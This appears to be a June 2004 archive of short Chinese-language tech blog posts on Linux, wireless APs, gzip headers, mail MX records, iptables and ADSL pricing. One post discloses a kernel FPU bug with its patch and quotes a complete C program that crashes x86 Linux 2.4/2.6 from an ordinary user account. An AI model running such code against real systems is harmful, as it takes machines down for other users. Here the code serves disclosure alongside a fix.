MSN 暱稱最長可到 129 個 unicode (即不分中英文),
用 Gaim 可以設定超過這限制,
但是......會立刻斷線
Pank: June 2004 Archives
一套國產的 Linux distro
http://b2d.tnc.edu.tw
Google search 電腦 不關機 多少 電費 度
可以找到一些 thread
電腦用電, 大概介於 100-200W 間, 以較貴的夏季用電一度 2.7元來估算
100W 一個月電費 100x24x30/1000x2.7=194.4
綜合來說, 一台電腦一個月電費大概在 200-400 間, 不算多
一個功能完整的 AP, 必須具備以下五種 mode
* AP
* Point to Point bridge
* Point to Multi-Point bridge
* Repeater
* AP Client
* AP
這個大概不用多做解釋, 每台 AP 都具有的功能, client 使用 Infrastructure 方式連接 AP
* Point to Point bridge
點對對橋接
應用實例: 兩棟大樓間的網路橋接
設定: 兩台 AP 必需設定對方的 MAC, 及使用相同的頻道, 同一個 ESSID
* Point to Multi-Point bridge
點對多對橋接
應用實例: 兩棟以上大樓間的網路橋接
設定: 設定點對多點的 AP 必需設定基他連線 AP 的 MAC, 其他 AP 也必需設定主 AP 的 MAC
所有 AP 需使用相同的頻道, 同一個 ESSID
* Repeater
延續 AP 的訊號
應用實例: 中間有阻隔的兩間辦公室, 在走郎處架設 Reapter, 延續 AP 的訊號
設定: Repeater 需設 root AP 的 MAC
* AP Client
AP Client 可接在傳統的 ethernet device, 使之能以無線方式連接
應用實例: AP Client 連接 Hub, 讓另一區的 LAN 能透過無線方式串接
設定: AP Client 需設 root AP 的 MAC, 使用同一個 ESSID
ref.
http://www.big5.tomshardware.com/howto/03q1/030129/wireless-02.html
這個版本加入新增兩項重要功能
MSN 傳檔
MSN 大頭照, 目前並不會自動更新, 只有對方傳訊過來時才會顯示大頭照, 或者手動按更新好友圖示
其他
修正 Yahoo protocol 異動, 使能 login Yahoo Messenger
把一個 gzip file 前 10 bytes dump 下來
1f 8b 08 00 b8 8e ea 3f 00 03
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
ID1 ID2 固定是 1f 8b, 作為 gzip format 的識別
CM 是壓縮方式, 需填 08
FLG 是一些參數的 flag, 一般為 0, bit 5-7 reserved (Reserved FLG bits must be zero.)
MTIME 是最後異動時間, 單位秒, 相當於 date +%s
XFL 是其他參數, 一般為 0
OS = 03 = Unix
使用 cat << EOF > file 時, 結束的 EOF 要獨立一行, 後面也不能有 space, tab
已測試過傳訊部分, 中文相容, 不錯
還沒試語音部分, 因沒沒裝 audio driver, 不曉得找不找得到
MIC 的部分, 也還沒試過
ref.
Advanced Linux Sound Architecture (ALSA)
Open Sound
http://www.linux.org.tw/CLDP/OLD/Sound-HOWTO-4.html
REALbasic is a cross-platform VB like language
http://www.realsoftware.com/realbasic/indepth/
REALbasic is the powerful, easy to use tool for creating your own
software for Windows, Macintosh and Linux.
The lck patchset includes a lot of patches, good.
Extra feature patches:
Supermount-NG
Bootsplash
File system extended attribute support
POSIX ACLs
NFS ACL support
ACL security attribute support
new NTFS file system
http://stardict.sourceforge.net/
最近裝了 stardict 才知道, 它有 highlight 即時翻譯的功能, 真好用!
以 Mandrake 10 為例, 至少要裝主程式, 英翻中檔, 中翻英檔
stardict-2.4.2-5mdk.i586.rpm
stardict-xdict-en-zh_TW-2.4.2-1mdk.noarch.rpm
stardict-xdict-zh_TW-en-2.4.2-1mdk.noarch.rpm
WineX = Wine + DirectX
由 Transgaming 這家公司發展, 可以在 linux 下玩 game
Windows 軟體在 Linux 上的替代方案 (Windows 軟體、Linux 軟體對應表)
The table of equivalents / replacements / analogs of Windows software in Linux.
資料來源 Bufflo tech
WBR系列(WBR-G54、WBR-B11)、WLA系列(WLA-G54,WLA-G54C)AP具有
WDS中繼/漫遊/無線橋接功能。
一般情況下,我們建議的作法是利用WBR系列連接您的網際網路寬頻,
當您的無線Client端與AP的距離太遠或是兩者間有障礙物阻隔造成訊號微弱時,
可利用WLA作為中繼端將原來WBR的訊號再生,以獲得較好的無線連線品質。
當然,以WBR來作為中繼也可以,只是在相同網段下,
同時有兩個DHCP Server且兩部的IP均相同,在設定上較為麻煩且會浪費了WBR的功能。
※ 要成功的將兩部AP設定無線橋接/中繼/漫遊的要件如下:
兩部AP的LAN IP Address設定為同網段之不同IP (例如:192..168.11.×)。
兩部AP的WDS功能均需 "Enable"。
兩部AP的Wireless MAC Address應互相抄寫。
兩部AP的WEP Key必須相同 (請參閱說明書設定)。
兩部AP的Channel必須相同 (請參閱說明書設定)。
兩部AP的ESSID必須相同方可達成漫遊功能 (請參閱說明書設定)。
兩部AP之間的距離必須小於50公尺 (ie.要在可互相收到對方訊號的範圍內)。
WB.ExecWB(1,1) 打開
WB.ExecWB(2,1) 關閉現在所有的視窗
WB.ExecWB(4,1) 儲存網頁
WB.ExecWB(6,1) 列印
WB.ExecWB(6,6) 直接列印, 不出現選擇印表機設定畫面, IE7 無效, 適用 IE6 以下
WB.ExecWB(7,1) 預覽列印
WB.ExecWB(8,1) 設定列印
WB.ExecWB(10,1) 查看頁面屬性
WB.ExecWB(15,1) 撤銷
WB.ExecWB(17,1) 全選
WB.ExecWB(22,1) 重新整理
WB.ExecWB(45,1) 關閉視窗無提示
使用這些功能 網際網路選項 啟始不標示為安全的 ActiveX 控制項 必須啟用
或者 設為 低安全性
這大概是 linux kernel 有史以來最嚴重的問題, 幾乎所有版本都有這個缺陷
我試了一台 Mandrake 9.2 的機器, 用一般 user 權限跑 crash kernel 的程式,
馬上見效
修正方法
修正 include/asm-i386/i387.h
asm volatile("fwait"); \
改成
asm volatile("fnclex ; fwait"); \
新的 2.6.7 已修正這個問題
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
Published 2004-06-11 by xiando, v2.2.4, last updated 2004-06-15.
A bug lets a simple C program crash the Linux kernel, effectively
locking the whole system. Affects both 2.4.2x and 2.6.x kernels
on the x86 architecture.
The kernel is the most important part of the Linux operating system.
It handles communication with the computers hardware and decides
the priority of running programs (processes). If the kernels stops
doing it's job, everything else will too.
※ The Evil Code
Running this simple C program crashes the Linux kernel.
crash.c.txt
http://linuxreviews.org/news/2004-06-11_kernel_crash/crash.c.txt
#include#include #include static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);return 0;
}
This bug is confirmed to be present when the code is compiled with
GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux
kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.
有一個檔的內容是
掃
曲線
在 linux 下, LC_CTYPE 設 en_US 的話
grep 掃 file 的結果, 兩個都能找到, 因為"曲"的後半+"線"的前半剛好等於"掃"
只要設 LC_CTYPE=zh_TW 就能讓 grep 認得中文
grep 掃 file 的結果, 就不會出現"曲線"
但是在 FreeBSD 下我試不出來, setenv LC_CTYPE zh_TW 還是 zh_TW.Big5 後,
還是沒效果
Mozilla, Firefox 支援滑鼠手勢, 工具/擴充套件 線上安裝 All-in-One Gestures
http://optimoz.mozdev.org/gestures/installation.html
Options of All-in-One Gestures screen shot
常用的和 MyIE 大致相同
按右鍵上 開新 tab
按右鍵下 開新視窗
按右鍵左 上一頁
按右鍵右 下一頁
按右鍵上左 上一個 tab
按右鍵上右 下一個 tab
按右鍵下右 關閉視窗
在link上, 按右鍵上, 開在新的 tab
幫 cpatch 寫的一個 search 介面
header("Content-type:application");
header("Content-Disposition: attachment; filename=file_name");
//file_name是預設下載時的檔名,可使用變數。
readfile("file");
//file是實際存放在你硬碟中要被下載的檔案,可使用變數。
exit(0);
ref.
http://dob.tnc.edu.tw/themes/old/showPage.php?s=3221&t=1
這個設定找好久, 原來中文翻譯翻得不好, 容易讓人誤解
Mandrake Linux
系統/設定/GNOME/進階/面板
取消 抽屜及面板可平滑移動
ClamWin Antivirus is an Open Source (free) Virus Scanner Toolkit for Microsoft Windows NT/98/Me/2000/XP/2003. It provides User Interface to Clam AntiVirus scanning engine.
因為
1. pank@ms12.hinet.net 廣告信太多
2. 每個月還要付 80 元
所以就把 HiNet 退租
新信箱是 pank@pank.org
最近 GoDaddy 提供 domain 的免費附加服務: Email forward
可以把 user@domain 的 mail 轉到其他地方
MX 設定
IN MX 0 smtp.secureserver.net.
IN MX 20 mailstore1.secureserver.net.
再到 Godaddy 的網頁上設定 Email forward, 沒有先做好上面的 MX 設定, 檢查 MX 時就會 pending
自架 mail server 時, 可利用此功能, 等於是有備援的機制
在設定 MX 時, 要先照上面的設定, Email forward 設完後再來改 MX
如
IN MX 0 mx1.pank.org.
IN MX 5 mx2.pank.org.
IN MX 10 smtp.secureserver.net.
IN MX 20 mailstore1.secureserver.net.
如此 mail 會先 try mx1, mx2 (自架的 mail server), 若掛了, 會 try godaddy 的 server,
進而 forward 到你指定的 mail, 這樣一來, 就不用擔心自架 server, 而 mail 收不到的情形
編輯 LANGUAGE 參數 in /etc/sysconfig/i18n
就可讓支援 i18n 的軟體秀出不同語系
如
LANGUAGE=zh_TW.Big5:zh_TW:zh_HK:zh
LANGUAGE=en_US
個人用五人版要 $99.95, 真是貴
http://secure.sixapart.com/
Enter IP and tell you location (country)
http://spamid.servebeer.com:8081/servlet/iplocator
HiNet 6/1 出了 8M/640K ADSL, 怪的是竟然比 2M/512K 還便宜,
不曉得是不是初期不保證頻寬的關係?
http://www.promotion.hinet.net/
速率 | HiNet上網費
| ADSL月租費
| 合計
|
256K/64K | 250元
| 300元(註1) | 550元
|
1M/64K | 375元
| 410元
| 785元
|
2M/256K | 420元
| 440元
| 860元
|
2M/512K | 549元
| 699元
| 1248元
|
3M/640K | 1200元
| 949元
| 2149元
|
8M/640K | 550元(註2)
| 650元
| 1200元
|
還有調 window size 才能得到最佳效能
http://ccs.hinet.net/adsl/Adsl_TCP_1536.html
內部網路環境 192.168.0.0/24, 要阻檔內部連外的 tcp port 2000-20000
使用下面這個 rule , 看似正確, 而嚴格說起來這樣的 rule 是有問題的
iptables -A FORWARD -p tcp --dport 2000:20000 -j DROP
為什麼?
因為有可能誤檔回來封包的連線, 有一個連線 sport 3000, dport 80
這封包就出得去, 但是回不來, 因為回來的封包符合上面的 rule
正確的做法應該用
iptables -A FORWARD -s 192.168.0.0/24 -p tcp --dport 2000:20000 -j DROP
disable webcrawler (ex. googlebot) access your page
http://www.robotstxt.org/wc/norobots.html
http://www.google.com.tw/intl/zh-TW/faq.html#robots
http://sourceforge.net/projects/yellowtipws/
http://www.yellowtip.com/
YellowTip Web Server is a professional and easily installable package of Apache2, PHP4, MySQL4, phpMyAdmin and Zend Optimizer for the Win32 platform. With the all-in-one installer, all components are installed in a single directory. Uninstaller included